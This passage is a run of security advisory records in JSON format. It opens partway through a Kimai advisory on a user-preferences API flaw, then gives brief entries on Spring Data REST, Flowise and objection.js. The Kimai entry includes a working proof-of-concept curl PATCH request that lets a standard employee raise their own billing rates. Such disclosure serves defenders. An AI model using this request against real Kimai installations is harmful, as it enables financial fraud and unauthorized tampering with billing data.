requested\u0027, $name));\n    }\n\n    $meta-\u003esetValue($value); // \u003c-- VULNERABILITY\n}\n```\n\nThe underlying Role-Based Access Control logic (`UserPreferenceSubscriber::getDefaultPreferences`) accurately identifies that standard users lack the `hourly-rate` role, and flags the dynamically generated preference object as disabled (`$preference-\u003esetEnabled(false)`). \n\nHowever, the `updateUserPreference` API endpoint entirely ignores this `isEnabled()` flag and forcefully saves the mutated object to the database natively via Doctrine ORM. This allows unauthorized accounts to manipulate the business-logic variables calculating their own financial earnings.\n\n### PoC\n1. Log into Kimai as an unprivileged, standard employee account (a user with absolutely no `roles` array privileges). \n2. Capture the `cookie` or Session cookies. (In this example, the user\u0027s ID is `2`).\n3. Send the following cURL request (or intercept via Burp Suite) targeting your own user ID:\n\n```bash\ncurl -i -X PATCH \"http://localhost:8001/api/users/2/preferences\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"cookie: \u003cYOUR_STANDARD_USER_TOKEN\u003e\" \\\n  -d \u0027[\n  {\n    \"name\": \"hourly_rate\",\n    \"value\": \"1337\"\n  },\n  {\n    \"name\": \"internal_rate\",\n    \"value\": \"1337\"\n  }\n]\u0027\n```\n\n4. The server responds with `HTTP/1.1 200 OK`. (Note: The `hourly_rate` will intentionally NOT appear in the JSON echo due to `User::getVisiblePreferences` sanitizing output based on the same disabled flag).\n5. If an Administrator organically views User 2\u0027s profile within Kimai, or if the user logs any new timesheets, the active and billed `hourly_rate` applied to their account will be confirmed as `1337`.\n\u003cimg width=\"1542\" height=\"1039\" alt=\"user_account\" src=\"https://github.com/user-attachments/assets/fff5e2da-d598-408d-8a01-784499ade844\" /\u003e\n\u003cimg width=\"1539\" height=\"1037\" alt=\"admin_account\" src=\"https://github.com/user-attachments/assets/86a6e8c3-a97f-4be3-9f9f-2e23fad1d8a0\" /\u003e\n\n### Impact\nThis is a Privilege Escalation and Business Logic Flaw impacting the core financial calculations of the application. An attacker with a standard user account can manipulate their own billing rate multipliers unbeknownst to administrators, resulting in fraudulent invoices, distorted timesheet exports, and unauthorized financial tampering.",
  "id": "GHSA-qh43-xrjm-4ggp",
  "modified": "2026-04-27T15:20:40Z",
  "published": "2026-04-15T19:46:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-qh43-xrjm-4ggp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40486"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/releases/tag/2.53.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai\u0027s User Preferences API allows standard users to modify restricted attributes: hourly_rate, internal_rate"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-47850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T01:17:31Z",
    "severity": "MODERATE"
  },
  "details": "Spring Data REST does not preserve the persisted version (@Version) property of an aggregate root when handling an HTTP PUT against an immutable target type.\nSpring Data REST 5.1.0\nSpring Data REST 5.0.0 - 5.0.6\nSpring Data REST 4.5.0 - 4.5.12\nSpring Data REST 4.0.0 - 4.4.15\nSpring Data REST 3.7.20 and earlier",
  "id": "GHSA-qmj8-w7c8-vhgx",
  "modified": "2026-08-27T03:32:58Z",
  "published": "2026-08-27T03:32:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47850"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-47850"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-56276"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-20T16:17:04Z",
    "severity": "MODERATE"
  },
  "details": "Flowise before 3.1.2 contains a mass assignment vulnerability in the PUT /api/v1/user endpoint that allows authenticated users to directly modify the credential field without validation. Attackers can bypass password change verification and session invalidation by supplying a crafted password hash, establishing persistent account access after temporary session compromise.",
  "id": "GHSA-qr8q-6c25-rppr",
  "modified": "2026-06-20T18:31:29Z",
  "published": "2026-06-20T18:31:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-59fh-9f3p-7m39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56276"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-mass-assignment-in-put-api-v1-user-allows-password-hash-override"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "objection"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-07T19:01:54Z",
    "nvd_published_at": "2021-09-06T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "objection.js prior to version 2.2.16 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027). This issue is patched in version 2.2.16.",
  "id": "GHSA-r659-8xfp-j327",
  "modified": "2023-09-07T18:40:01Z",
  "published": "2021-09-07T23:09:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3766"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Vincit/objection.js/commit/46b842a6bc897198b83f41ac85c92864b991d7e9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vincit/objection.js/commit/b41aab8dcd78f426f7468dcda541a7aca18a66a6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vincit/objection.js"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/c98e0f0e-ebf2-4072-be73-a1848ea031cc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "objection.js Prototype Pollution vulnerability"
}